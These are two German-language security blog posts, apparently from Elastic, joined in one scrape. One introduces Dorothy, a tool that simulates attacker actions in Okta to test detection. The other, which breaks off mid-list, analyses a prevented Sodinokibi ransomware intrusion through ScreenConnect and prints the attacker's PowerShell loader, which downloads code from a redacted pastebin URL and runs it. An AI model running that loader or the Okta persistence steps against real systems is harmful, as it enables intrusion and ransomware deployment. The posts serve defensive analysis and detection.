Dorothy ist ein Tool, mit dem Sicherheitsteams die Transparenz- und Erkennungsfunktionen für ihre Okta-Umgebung testen können. IAM-Lösungen werden oft unzureichend überwacht, obwohl sie ein häufiges Ziel für Angreifer sind.

<p>Auf Nachfrage von Entscheidungsträgern im Unternehmen können Sicherheitsteams oft nicht selbstbewusst demonstrieren, dass ihre Logging- und Warnfunktionen wie erwartet funktionieren. Unternehmen sind heutzutage immer stärker verteilt und nutzen Cloudangebote für Anwendungsfälle wie Identitäts- und Zugriffsverwaltung, Produktivität der Nutzer und Dateispeicherung. Parallel dazu haben viele Angreifer ihre Aktivitäten auf Cloudumgebungen ausgeweitet. Sicherheitsteams müssen in der Lage sein, diese Systeme auf Missbrauch zu überwachen, um die Daten ihres Unternehmens vor Angriffen zu schützen.
</p><p><a href="https://github.com/elastic/dorothy">Dorothy</a> ist ein kostenloses und offenes Tool, mit dem Sicherheitsteams ihre Transparenz-, Überwachungs- und Erkennungsfunktionen für Umgebungen mit Okta Single Sign-On (SSO) testen können. Wir werden Ihnen zeigen, wie Sie Tests mit Dorothy ausführen und <a href="/de/security">Elastic Security</a> nutzen können, um Warnungen zu relevanten und verdächtigen Verhaltensweisen mit unseren <a href="https://github.com/elastic/detection-rules/">kostenlosen und offenen Erkennungsregeln</a> zu generieren.
</p> <strong><h2><strong>Was ist Okta SSO?</strong></h2></strong><p>Falls Sie den Namen nicht kennen, <a href="https://www.okta.com/products/single-sign-on/">Okta SSO</a> ist eine cloudbasierte Identitätsverwaltungslösung, mit der sich die Nutzer mit einem einzigen Benutzerkonto bei einer Vielzahl von Systemen und Anwendungen innerhalb des Unternehmens anmelden können. Wenn sich die Endnutzer anstelle von zehn oder mehr Kombinationen aus Benutzername und Passwort nur noch <em>eine</em> merken müssen, sinkt die Gefahr einer mangelhaften Passwortverwaltung, und Systemadministratoren können strengere Passwortrichtlinien einführen. Außerdem unterstützt Okta Richtlinien für Multi-Faktor-Authentifizierung (MFA), um Angreifern das Leben noch weiter zu erschweren. Viele Angreifer werden einfach weiterziehen und sich ein einfacheres Ziel suchen, wenn sie feststellen, dass ein Netzwerk oder ein Nutzerkonto MFA verwendet.
</p><p>SSO-Lösungen bieten zwar ein komfortables Nutzererlebnis und reduzieren die Cybersicherheitsrisiken für Unternehmen, aber sie bieten oft auch eine Art von Generalschlüssel für viele Systeme und Anwendungen und werden daher zu einem attraktiven Ziel für Angreifer. Es ist wichtig, dass Sicherheitsteams die normalen Verhaltensweisen in ihrer Okta-Umgebung kennen, um verdächtige Verhaltensweisen leichter identifizieren zu können.
</p> <strong><h2><strong>Wir möchten Ihnen Dorothy vorstellen</strong></h2></strong><p><a href="https://github.com/elastic/dorothy">Dorothy</a> enthält mehr als 25 Module, die mögliche Aktionen von Angreifern in Okta-Umgebungen sowie Verhaltensweisen simulieren, die Sicherheitsteams überwachen, erkennen und melden sollten. Sämtliche Module sind den entsprechenden <a href="https://attack.mitre.org/"> MITRE ATT&CK®</a>-Taktiken zugeordnet, wie etwa Persistenz, Tarnung, Ermittlung und Auswirkung.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt8eae61fb97d445e6/5fcbb9e859bd313bf83113fc/1-Dorothy-blog-listing-modules.png" data-sys-asset-uid="blt8eae61fb97d445e6" alt="1-Dorothy-blog-listing-modules.png" style="display: block; margin: auto">
</p><figcaption>Abbildung 1 - Dorothy starten und Module auflisten</figcaption><p>Dorothy wurde entwickelt, um Sicherheitsteams beim Testen ihrer Transparenz- und Kontrollfunktionen zu unterstützen und enthält keine Module, mit denen man sich in einer Okta-Umgebung Zugang verschaffen oder Berechtigungen heraufstufen kann. Um Aktionen mit Dorothy ausführen zu können, ist ein gültiges Okta API-Token erforderlich, das mit einem Nutzer mit einer oder mehreren Administratorrollen verknüpft ist.
</p><p>Eine benutzerfreundliche Shell-Oberfläche mit kontextbezogener Hilfe erleichtert die Navigation zwischen Menüs und Modulen und führt die Benutzer durch verschiedene Angriffsszenarien. Weitere Features sind Konfigurationsprofile, mit denen Sie Verbindungen zu verschiedenen Okta-Umgebungen verwalten können, und ausführliches Logging mit der Option, Ereignisse nach Elasticsearch zu indexieren, um einen Audit-Trail der mit Dorothy ausgeführten Aktionen bereitzustellen.
</p> <strong><h2><strong>Aktionen mit Dorothy in einer Okta-Umgebung ausführen</strong></h2></strong><p>In diesem Abschnitt zeigen wir Ihnen, wie Sie einige der Dorothy-Module in einer Okta-Umgebung ausführen können. Abbildung 2 zeigt den typischen Workflow für einen Elastic Security-Nutzer. Nach dieser Demonstration sollten Sie in der Lage sein, das GitHub-Repository von Dorothy zu öffnen und die ersten Schritte im <a href="https://github.com/elastic/dorothy/wiki">Wiki</a> des Projekts auszuführen.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt005b0e7a6479bf43/5fcbba02e5f85744d50f1a57/2-Dorothy-blog-example_workflow.png" data-sys-asset-uid="blt005b0e7a6479bf43" alt="2-Dorothy-blog-example_workflow.png" redactor"="" style="display: block; margin: auto data-verified=">
</p><figcaption>Abbildung 2 - Beispiel-Workflow für die Ausführung von Aktionen mit Dorothy in einer Okta-Umgebung</figcaption><p> <strong></strong>
</p><h3><strong><strong><em>whoami?</em></strong></strong></h3><p>Wir versetzen uns jetzt in einen Angreifer hinein und fragen uns, welche Aktionen er in einer Okta-Umgebung ausführen würde. Nachdem sich ein Angreifer Zugriff verschafft hat, wird er zunächst Informationen über den Nutzer abrufen, dessen API-Token er verwendet. Wir simulieren diese Aktion des Angreifers mit dem <code>whoami</code>-Befehl von Dorothy. In der Ausgabe sehen wir die Anmelde-ID, den Zeitpunkt der letzten Anmeldung und die letzte Passwortänderung des Nutzers.
</p><p>Nachdem wir uns besser mit dem Nutzerkonto vertraut gemacht haben, das wir kontrollieren, können wir die Dorothy-Module auflisten und uns das Hilfemenü ansehen, bevor wir weitermachen.
</p><div class=" video=" "="" embed-container"="">
	<img class="vidyard-player-embed" src="https://play.vidyard.com/iG2cr4pHfUSwwVyk3paivS.jpg" data-uuid="iG2cr4pHfUSwwVyk3paivS" data-v="4" data-type="inline" data-autoplay="1" data-loop="1" data-disable_analytics="1" data-hidden_controls="1" data-muted="1" disable_analytics="1" style="width: 100%; margin: auto; display: block;">
	<figcaption>Abbildung 3 - whoami- und list-modules-Befehle mit Dorothy ausführen<br><br></figcaption>
	<h3><strong><em>Ermittlung</em></strong></h3>
	<p>Dorothy enthält verschiedene Ermittlungsmodule, um das Wissen zu simulieren, das sich ein Angreifer über unsere Okta-Umgebung verschaffen kann. Angreifer machen sich oft mit der Umgebung vertraut, nachdem sie sich Zugriff verschafft haben. Diese Details sind wichtig für die Orientierung und um die nächsten Schritte zu planen.
	</p>
	<p>Wir werden die folgenden Informationen abrufen, um die Okta-Umgebung besser kennenzulernen:
	</p>
	<ul>
		<li>Nutzer - Eine Liste von Namen, Anmelde-IDs, E-Mail-Adressen, Fragen für die Passwortwiederherstellung sowie der Status der einzelnen Nutzer ist hilfreich, um auszuwählen, welche Konten wir übernehmen, bearbeiten oder in Ruhe lassen, um nicht entdeckt zu werden.</li>
		<li>Richtlinien - <a href="https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm">Okta-Richtlinien</a> steuern verschiedene Sicherheitselemente, inklusive Passwortkomplexität und MFA-Anforderungen, sowie die Geräte, die die Nutzer verwenden dürfen. Dieses Wissen ist hilfreich, falls wir uns entschließen, bestimmte Komponenten der Sicherheitskonfiguration des Ziels zu schwächen.</li>
		<li>Zonen - <a href="https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm">Netzwerkzonen</a> können verwendet werden, um Sicherheitsperimeter für eine Okta-Umgebung zu definieren. Ähnlich wie Richtlinien verraten uns diese Informationen, wie die Umgebung konfiguriert ist, und wir können fundierte Entscheidungen treffen, bevor wir Änderungen am erlaubten oder blockieren Datenverkehr vornehmen.</li>
	</ul>
	<p>Zuletzt führen wir das Modul <code>find-admins</code> aus, um die Rollen der einzelnen Okta-Nutzer aufzulisten und die Nutzer zu identifizieren, denen mindestens eine Administratorrolle zugewiesen wurde.
	</p>
	<div class="video embed-container" style="height: 319.725px;">
		<img class="vidyard-player-embed" src="https://play.vidyard.com/TkDuAJQwKabkyj375rfYPe.jpg" data-uuid="TkDuAJQwKabkyj375rfYPe" data-v="4" data-type="inline" data-autoplay="1" data-loop="1" data-disable_analytics="1" data-hidden_controls="1" data-muted="1" disable_analytics="1" style="width: 100%; margin: auto; display: block;">
	</div><figcaption>Abbildung 4 - Ausführen der Ermittlungsmodule von Dorothy, um die Okta-Umgebung besser kennenzulernen</figcaption>
	<p>Weitere Ermittlungsmodule zum Sammeln von Informationen sind beispielsweise <code>find-users-without-mfa</code>, um Nutzer zu finden, die sich nur mit Benutzername und Passwort anmelden können, und <code>find-admin-groups</code>, um Nutzergruppen zu identifizieren, denen mindestens eine Administratorrolle zugewiesen wurde.
	</p> <strong>
	<h3><strong><em>Persistenz</em></strong></h3></strong>
	<p>Nachdem sich ein Angreifer Zugang zur Zielumgebung verschafft hat, versucht er normalerweise, Persistenz zu erreichen. Persistenz bedeutet, dass der Angreifer auch dann weiterhin Zugang hat, wenn die ursprüngliche Zugriffsmethode nicht mehr funktioniert. Dies ist beispielsweise der Fall, wenn ein Sicherheitsteam die Anwesenheit des Angreifers entdeckt und das kompromittierte Nutzerkonto deaktiviert, das der Angreifer verwendet, oder die Kommunikation am Netzwerkperimeter blockiert.
	</p>
	<p>Mit Persistenzmechanismen können Angreifer dafür sorgen, dass sie ihre Mission auch dann fortsetzen können, wenn einer ihrer Pfade blockiert oder unterbrochen wird. In diesem Beispiel verwenden wir die Dorothy-Module <code>create-user</code> und <code>create-admin-user</code>, um einen Okta-Nutzer zu erstellen und ihm <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_administrator_role_assigned_to_okta_user.toml">eine Administratorrolle zuzuweisen</a>. Anschließend fügen wir eine Wiederherstellungsfrage für einen andern Okta-Nutzer hinzu, um das Passwort dieses Nutzers zurücksetzen und das entsprechende Nutzerkonto als zusätzliche Persistenzmethode übernehmen zu können.
	</p>
	<div class="video embed-container" style="height: 319.725px;">
		<img class="vidyard-player-embed" src="https://play.vidyard.com/GBE6rQG2gxPGLhysSSTZet.jpg" data-uuid="GBE6rQG2gxPGLhysSSTZet" data-v="4" data-type="inline" data-autoplay="1" data-loop="1" data-disable_analytics="1" data-hidden_controls="1" data-muted="1" disable_analytics="1" style="width: 100%; margin: auto; display: block;">
	</div><figcaption>Abbildung 5 - Erstellen und Bearbeiten von Okta-Nutzerkonten, um Persistenz zu erreichen</figcaption>
	<p>Dorothy enthält weitere Persistenzmodule, um die Schritte von Angreifern besser verstehen zu können, wie etwa <code>reset-factors</code>, um <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml">die registrierten Authentifizierungsfaktoren von Nutzern zu entfernen</a>, oder <code>reset-password</code>, um einen einmaligen Link zum Zurücksetzen eines Nutzerpassworts zu generieren.
	</p> <strong>
	<h3><strong><em>Tarnung</em></strong></h3></strong>
	<p>Angreifer versuchen normalerweise, Tarnmechanismen einzusetzen, um bei ihrer Mission nicht entdeckt zu werden. Ein Angreifer kann beispielsweise versuchen, das Sicherheits-Logging zu aktivieren, damit das Sicherheitsteam ihm nicht auf die Spur kommen kann.
	</p>
	<p>Bisher haben wir uns Informationen über die Umgebung verschafft und mehrere Persistenzmechanismen konfiguriert. Anschließend führen wir die Dorothy-Module <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/okta_attempt_to_deactivate_okta_policy.toml"><code>change-policy-state</code></a> und <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/attempt_to_deactivate_okta_network_zone.toml"><code>change-zone-state</code></a> aus, um die Sicherheitskontrollen des Ziels zu schwächen.
	</p>
	<div class="video embed-container" style="height: 319.725px;">
		<img class="vidyard-player-embed" src="https://play.vidyard.com/ibEzpdD2KPKKK83d3n556d.jpg" data-uuid="ibEzpdD2KPKKK83d3n556d" data-v="4" data-type="inline" data-autoplay="1" data-loop="1" data-disable_analytics="1" data-hidden_controls="1" data-muted="1" disable_analytics="1" style="width: 100%; margin: auto; display: block;">
	</div><figcaption>Abbildung 6 - Deaktivieren von Okta-Richtlinien und Netzwerkzonenobjekten</figcaption>
	<p>Weitere Tarnmodule können verschiedene andere Okta-Objekte wie etwa Anwendungen oder einzelne Richtlinienregeln aktivieren, deaktivieren oder manipulieren.
	</p>
	<p>Unser fiktives Angriffsszenario ist damit abgeschlossen, aber im <a href="https://github.com/elastic/dorothy">GitHub-Repository</a> finden Sie jederzeit weitere Informationen zum Funktionsumfang von Dorothy.
	</p> <strong>
	<h2><strong>Verdächtige Verhaltensweisen mit Elastic Security erkennen</strong></h2></strong>
	<p>In diesem Abschnitt kombinieren wir das <a href="https://help.okta.com/en/prod/Content/Topics/Reports/Reports_SysLog.htm">System-Log</a> von Okta mit unseren kostenlosen Erkennungsregeln, um verdächtige Verhaltensweisen zu erkennen und Warnungen zu generieren.
	</p>
	<p>Das System-Log von Okta liefert einen Audit-Trail der Aktivitäten, die in der Umgebung eines Unternehmens beobachtet wurden. Dazu gehören Aktivitäten wie Nutzeranmeldungen oder Passwortänderungen, Konfigurationsänderungen durch Administratoren und vieles mehr. Diese Datenquelle ist extrem hilfreich für die Bereiche Sicherheitsüberwachung, Untersuchungen, Compliance und Abwehrmaßnahmen.
	</p> <strong>
	<h3><strong><em>Ingestieren von Okta-System-Logs mit Fleet</em></strong></h3></strong>
	<p><a href="/guide/en/fleet/current/fleet-overview.html">Fleet</a> stellt eine webbasierte GUI in Kibana bereit, mit der Sie Integrationen für beliebte Dienste und Plattformen hinzufügen und verwalten können, inklusive Okta, AWS, Azure, Google Cloud Platform, Google Workspace und viele weitere. Mit der Okta-Integration von Fleet können Sie die System-Log-Ereignisse von Okta mühelos ingestieren und normalisieren.
	</p>
	<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt1fc3d0e8b7275ec1/5fcbba31a84f233eaf60eee8/7-Dorothy-blog-reviewing-fleet.png" data-sys-asset-uid="blt1fc3d0e8b7275ec1" alt="7-Dorothy-blog-reviewing-fleet.png" style="display: block; margin: auto">
	</p><figcaption>Abbildung 7 - Okta-Integration von Fleet in Kibana überprüfen</figcaption>
	<p>Außerdem ist ein <a href="/guide/en/beats/filebeat/current/filebeat-module-okta.html">Okta Filebeat-Modul</a> für Teams verfügbar, die bereits Beats verwenden.
	</p> <strong>
	<h3><strong><em>Verdächtige Verhaltensweisen mit den kostenlosen Erkennungsregeln von Elastic Security erkennen</em></strong></h3></strong>
	<p>Das Elastic Security Protections Team analysiert die Techniken von Angreifern, um Erkennungs- und Abwehrmethoden für Endpunkte, Cloud und Netzwerkplattformen zu entwickeln. Unsere <a href="https://github.com/elastic/detection-rules">Erkennungsregeln</a> sind kostenlos und werden zusammen mit der allgemeinen Sicherheits-Community offen entwickelt.
	</p>
	<p>Unsere Okta-Regeln nutzen die indexierten System-Log-Ereignisse, die mit dem <a href="/guide/en/ecs/current/ecs-reference.html">Elastic Common Schema (ECS)</a> normalisiert werden, und warnen Sicherheitsteams im Fall von relevanten und verdächtigen Verhaltensweisen.
	</p>
	<p>In Abbildung 8 unten sehen Sie verschiedene Warnungen in Elastic Security, nachdem Dorothy eingesetzt wurde, um verschiedene Aktionen eines Angreifers in einer Okta-Umgebung zu simulieren.
	</p>
	<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt4504667e3ac7b82d/5fcbba4cee448a54fd0cbc2e/8-Dorothy-blog-reviewing-alerts.png" data-sys-asset-uid="blt4504667e3ac7b82d" alt="8-Dorothy-blog-reviewing-alerts.png" style="display: block; margin: auto">
	</p><figcaption>Abbildung 8 - Offene Warnungen in Elastic Security überprüfen</figcaption>
	<p>Was ist mit lästigen falschen Positivmeldungen? Sie können problemlos Ausnahmen für die Regeln in Elastic Security hinzufügen, um routinemäßige und erwartete Verhaltensweisen herauszufiltern. Mit diesem Feature können Sie außerdem alle Warnungen schließen, die mit einer Ausnahme übereinstimmen, um Zeit zu sparen.
	</p>
	<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt7ed73d87b82b1650/5fcbba59da1c393383d3dd8d/9-Dorothy-blog-adding_exception.png" data-sys-asset-uid="blt7ed73d87b82b1650" alt="9-Dorothy-blog-adding_exception.png" style="display: block; margin: auto">
	</p><figcaption>Abbildung 9 - Hinzufügen einer Ausnahme zu einer Okta-Regel in Elastic Security</figcaption>
	<p> <strong></strong>
	</p>
	<h2><strong><strong>Ermitteln Ihrer Cloudabdeckung mit Dorothy</strong></strong></h2>
	<p>Okta und andere Identitätsverwaltungslösungen sind ein häufiges Ziel für Angreifer, werden jedoch oft unzureichend überwacht, falls überhaupt. Wir haben Dorothy entwickelt, damit Sicherheitsteams sich besser mit dem Verhalten von Angreifern in Okta-Umgebungen vertraut machen und ihre Transparenz und Effizienz mit unseren kostenlosen und offenen Erkennungsregeln testen können.
	</p>
	<p>Weitere Hilfestellungen zu den ersten Schritten mit Dorothy finden Sie im <a href="https://github.com/elastic/dorothy/wiki">Wiki</a> des Projekts. Falls Sie Elastic Security noch nicht nutzen, können Sie sich noch heute für eine <a href="/de/cloud/">kostenlose Cloud-Testversion</a> registrieren und unsere kostenlosen <a href="/de/blog/elastic-security-opens-public-detection-rules-repo">Erkennungsregeln</a> entdecken.
	</p>
</div>

blog-banner-dorothy-cow.png

blog-thumb-dorothy-cow.png

Testing your Okta visibility and detection with Dorothy and Elastic Security

Okta-Transparenz und Erkennung mit Dorothy und Elastic Security testen

<p>Letzten Monat konnte das <a href="/de/blog/introducing-elastic-endpoint-security">Elastic Security</a> Protections Team einen Ransomware-Angriff auf eine Organisation vereiteln, die von einem IT-Managed-Services-Provider (MSP) betreut wird, der unser Kunde ist. Wir haben die Alarme analysiert, die ausgegeben wurden, nachdem <a href="/de/products/endpoint-security">Elastic Endpoint Security</a> die Prozessinjektionsversuche des Angreifers auf mehreren Endpunkten verhindert hat. Erpresser versuchen oft, ihren Schadcode in laufende Prozesse zu injizieren, damit dieser die Daten des Opfers verschlüsseln kann. Anschließend wird das Opfer erpresst.
</p>
<p>Das von uns in diesem Fall beobachtete Verhalten passte genau zu den Berichten über Angriffe auf MSPs mit dem Ziel, Ransomware in die Systeme großer Unternehmen einzuschleusen. Der Missbrauch des Vertrauensverhältnisses zwischen MSPs und deren Kunden bei dieser Art von Angriffen kann immense Auswirkungen haben – von schweren Schäden für kleine Unternehmen über Störungen des Transportwesens bis hin zur Stilllegung öffentlicher Dienstleistungen.
</p>
<p>Bei diesem Fall war es so, dass sich der Angreifer über einen anderen MSP, der kein Kunde von Elastic Security ist, Zugang zur Zielumgebung verschafft hat. Wir haben keine näheren Informationen über diese Umgebung und darüber, wie sie gehackt worden sein könnte.
</p>
<p>In diesem Blogpost besprechen wir, was für ein Verhalten wir beobachtet und verhindert haben, warum diese Art von Angriffen so oft Erfolg hat und was Sie tun können, um die Wirksamkeit dieser Angriffe in Ihrem Unternehmen einzuschränken.
</p>
<table style="background: #FFFFD2;" rel="background: #FFFFD2;">
<tbody>
<tr>
	<td>Elastic Security Intelligence and Analytics, eines der Teams bei Elastic Security Engineering, nutzt anonymisierte Security-Telemetriedaten von teilnehmenden Kunden, um Bedrohungen nachzuverfolgen und Produkte zu verbessern. In diesem Rahmen werden auch Alert-Metadaten gesammelt. Die Beobachtung von Ereignismustern, die viele Kunden betreffen, versetzt uns in die Lage, schnelle Entscheidungen zu treffen und so aufkommende Bedrohungen im Zaum zu halten oder die Community mit wichtigen Informationen zu versorgen.
	</td>
</tr>
</tbody>
</table>
<h2>Verhinderung von Prozessinjektionsversuchen durch Angreifer</h2>
<p>Die ersten Anzeichen für einen Angriff waren Meldungen über die Verhinderung mehrerer Versuche zur <a href="https://attack.mitre.org/techniques/T1055/">Prozessinjektion</a>. Prozessinjektion hat das Ziel, Code im Adressraum eines laufenden Prozesses auszuführen. Angreifer verwenden dieses Verfahren häufig, um die Erkennung durch Sicherheitsprodukte zu umgehen oder ihren Schadcode in einem Prozess mit höherer Integritätsstufe ausführen zu lassen und so mehr Berechtigungen zu erhalten.
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0e931adeb1ae4bfd/5de55b56546f955ab898caa6/ransomware-prevention-blog-process-injection-alerts.png" data-sys-asset-uid="blt0e931adeb1ae4bfd" alt="ransomware-prevention-blog-process-injection-alerts.png" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">Prozessinjektions-Alerts auf der Elastic Endpoint Security-Plattform</figcaption>
<p>Eine Analyse der Prozessinjektions-Alerts ergab, das versucht wurde, über das leistungsfähige native Scripting-Framework PowerShell Shellcode in sich selbst zu injizieren – ein solches Verhalten deutet in der Regel auf einen Angriff hin. Der Prozess <code>powershell.exe</code> wurde als Abkömmling von <code>ScreenConnect.WindowsClient.exe</code>, einer Remote-Desktop-Support-Anwendung, erstellt. Diese Art von Software erlaubt es IT-Administratoren, sich mit Computern an anderen Orten zu verbinden und Endnutzer zu unterstützen, sie wird aber häufig von Angreifern missbraucht. In IT-Kreisen ist dies als „Living-off-the-Land“-Taktik bekannt.
</p>
<p>Die Abbildung unten zeigt die unübliche Prozessabstammungslinie bei diesem Fall in Resolver™, unserer Visualisierung, die Ereignisse im Zusammenhang mit einem Angriff grafisch darstellt.
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt99a68ebf6b2fa11e/5dd85905cbf96739d40873e2/ransomware-prevention-blog-resolver.jpg" data-sys-asset-uid="blt99a68ebf6b2fa11e" alt="" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">Darstellung der Prozessabstammungslinie im Zusammenhang mit dem Prozessinjektionsversuch in Resolver™</figcaption>
<p>Zu beachten ist, dass sowohl <code>cmd.exe</code> als auch <code>powershell.exe</code> Abkömmlinge des Prozesses <code>ScreenConnect.WindowsClient.exe</code> sind. Angesichts ihrer Fähigkeit, Schadbefehle oder ‑skripts auszuführen, ist so etwas verdächtig, aber wenn man es isoliert betrachtet, muss nicht zwangsläufig ein Angriff dahinterstecken. Erfolgreiches Erkennen und Bekämpfen von bösartigem Verhalten setzt voraus, dass Sie den Normalzustand Ihrer Umgebung erfasst haben („Baselining“) und die normalen Prozessbeziehungen in Ihrem Unternehmen kennen.
</p>
<p>In diesem Fall konnte durch die Prüfung der Prozesse und ihrer Befehlszeilenargumente ermittelt werden, dass der Angreifer der Remote-Desktop-Software ScreenConnect genutzt hat, um sich zu verbinden und eine Batch-Datei in den Zielendpunkt zu kopieren. Die Visualisierung eines der <code>cmd.exe</code>-Prozesse in Resolver™ hat zutage gefördert, dass die Batch-Datei ein mit Base64 verschlüsseltes PowerShell-Skript enthalten hat, das anschließend ausgeführt wurde.
</p>
<h2>Erkennen und Verhindern von unerwünschtem Verhalten mit EQL</h2>
<p>Die Tatsache, dass dieses potenzielle Ziel durch Elastic Endpoint Security geschützt war, hat einen kostspieligen Ransomware-Ausbruch verhindert, aber viele MSPs sind erst noch dabei, sich in diese Methodik einzuarbeiten. Dieser Angreifer hat verstanden, dass Service-Provider aller Art das vorbehaltlose Vertrauen ihrer Kunden genießen und deshalb sehr wertvoll sind.
</p>
<p>Nachdem der Angreifer sich erst einmal Zugang zur Zielumgebung verschafft hat, ist es üblicherweise –&nbsp;und so auch in diesem Fall&nbsp;– sein Bestreben, das bestehende vorbehaltlose Vertrauensverhältnis zu missbrauchen. Das Angriffsopfer vertraut den Verbindungen zwischen seiner Umgebung und dem MSP über die Remote-Desktop-Support-Anwendung. Dieses Vertrauen birgt das Risiko einer <a href="https://attack.mitre.org/techniques/T1195/">Lieferkettenkompromittierung (Supply Chain Compromise)</a> in sich.
</p>
<p>Bei der Überlegung, wie sich ein solches Vertrauensverhältnis überwachen und verteidigen lässt, ist es empfehlenswert, sich zunächst auf die Anwendungen zu konzentrieren, über die eine Verbindung zwischen dem Vertrauenspartner und Ihrem Netzwerk hergestellt wird. ScreenConnect mit den davon abstammenden Prozessen auf die schwarze Liste zu setzen und so zu versuchen, gegen dieses bösartige Verhalten vorzugehen, ist eher keine gute Lösung, da das die Support-Mitarbeiter in ihrer Arbeit behindert. Ein Security-Monitoring-Team kann jedoch zu dem Schluss kommen, dass ein von ScreenConnect abstammender Prozess, der auf das Netzwerk zugreift, verdächtig ist, und versuchen, dieses Verhalten zu erkennen und zu verhindern. Dies wird durch den Einsatz der <a href="https://www.endgame.com/blog/technical-blog/getting-started-eql">Event Query Language (EQL) von Elastic</a> ermöglicht und ist eine generische Methode, das Bewusstsein für die Umgebung zu entwickeln.
</p>
<p>Mit der folgenden EQL-Abfrage kann nach einer Abfolge zweier Ereignisse gesucht werden, die über die eindeutige Prozesskennung (PID) des Prozesses miteinander verbunden sind. Das erste Ereignis sucht nach einem Prozess, der ein Abkömmling von <code>ScreenConnect*.exe</code> ist. Das zweite Ereignis sucht nach Netzwerkaktivität, die vom Abkömmling ausgeht. Diese Abfrage lässt sich problemlos so erweitern, dass auch andere Fernzugriffssoftware eingebunden wird oder dass die erwarteten Aktivitäten in der Umgebung herausgefiltert werden.
</p>
<pre class="prettyprint">sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]
</pre>
<p>Mit Elastic Endpoint Security ist es auch möglich, eine <a href="https://www.endgame.com/blog/executive-blog/what-is-reflex">Reflex-Antwortaktion</a> zu konfigurieren und so eigene Verhinderungsregeln zu implementieren. So kann zum Beispiel der abstammende Prozess beendet werden, sobald er eine Netzwerkverbindung herstellt, sodass kein zusätzlicher Schadcode heruntergeladen wird oder irgendwelche Befehls- und Steuerungsaktivitäten ausgeführt werden können.
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9d4886f851ceb49a/5dd85ad8fcb522353a694edf/ransomware-prevention-blog-reflex-response.png" data-sys-asset-uid="blt9d4886f851ceb49a" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">Konfigurieren einer Reflex-Antwortaktion auf der Elastic Endpoint Security-Plattform</figcaption>
<p>Elastic Endpoint Security enthält Hunderte unserer eigenen verhaltensbasierten Analytics. Dazu gehören Möglichkeiten zur Erkennung und Verhinderung von vom Normalen abweichender Beziehungen zwischen Prozessen und externen Verwaltungstools oder Windows-, MacOS- oder Linux-nativen Programmen.
</p>
<h2>Analyse von Spionageangriffen</h2>
<p>Das PowerShell-Skript, das ausgeführt wurde, hat zunächst die Prozessorarchitektur geprüft, bevor es die .NET-Klasse <code>WebClient</code> einsetzte, um Inhalte aus Pastebin herunterzuladen und mithilfe des Commandlets <code>Invoke-Expression</code> (<code>IEX</code>) Code auszuführen. Dieses Vorgehen, das das Herunterladen und Ausführen von Code per PowerShell ermöglicht, ist bei Angriffen sehr häufig zu beobachten.
</p>
<p>Pastebin ist ein Dienst zum Hosten und Teilen von reinem Text, der gern zum Teilen von Code-Snippets verwendet wird. Angreifer missbrauchen Pastebin und ähnliche Websites aber zum Speichern von Schadcode oder zum Veröffentlichen geleakter Anmeldeinformationen.
</p>
<pre>If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
</pre><figcaption style="text-align: center;" rel="text-align: center;">PowerShell-Skript, das Inhalte von Pastebin.com heruntergeladen hat<sup>1</sup>
</figcaption>
<p>Dieses Verhalten wird aufgrund der höchstens minimalen Festplattenaktivität am Endpunkt häufig als „dateiloser“ oder „In-Memory“-Angriff bezeichnet. Wenn der Elastic Endpoint Security-Agent einen dateilosen Angriff erkennt, erfasst er automatisch den Code und die Strings, die injiziert wurden, und extrahiert sie. Auf diese Weise haben wir eine lückenlose Einsicht in das verhinderte Verhalten erhalten.
</p>
<p>Eine <a href="https://www.virustotal.com/">VirusTotal</a>-Suche für einige der erfassten Strings ergab, dass verschiedene Exemplare aus der Sodinokibi-Familie von Ransomware beteiligt waren.
</p>
<p>Die folgenden spezifischen Toolmarks und Verhaltensweisen weisen darauf hin, dass diese Aktivität Übereinstimmungen mit der von <a href="https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/">BleepingComputer</a> und <a href="https://www.cynet.com/blog/ransomware-never-dies-analysis-of-new-sodinokibi-ransomware-variant/">Cynet</a> gemeldeten Ausführung der Sodinokibi- oder Gandcrab-Ransomware-Exemplare aufweist:
</p>
<ul>
	<li>Der Angreifer hat für die Verbindung vom kompromittierten MSP zum Zielunternehmen die Remote-Desktop-Support-Software ScreenConnect verwendet.</li>
	<li>Mithilfe von ScreenConnect wurde ein Batch-Skript in die Endpunkte kopiert, das ein PowerShell-Skript enthielt, mit dem Schadcode von Pastebin heruntergeladen und injiziert werden sollte.</li>
	<li>Das PowerShell-Skript enthielt Commandlets und Strings (z.&nbsp;B. <code>Invoke-LJJJIWVSRIMKPOD</code> und <code>Start-Sleep</code>), die aus anderen Sodinokibi-Ransomware-Kampagnen bekannt sind.</li>
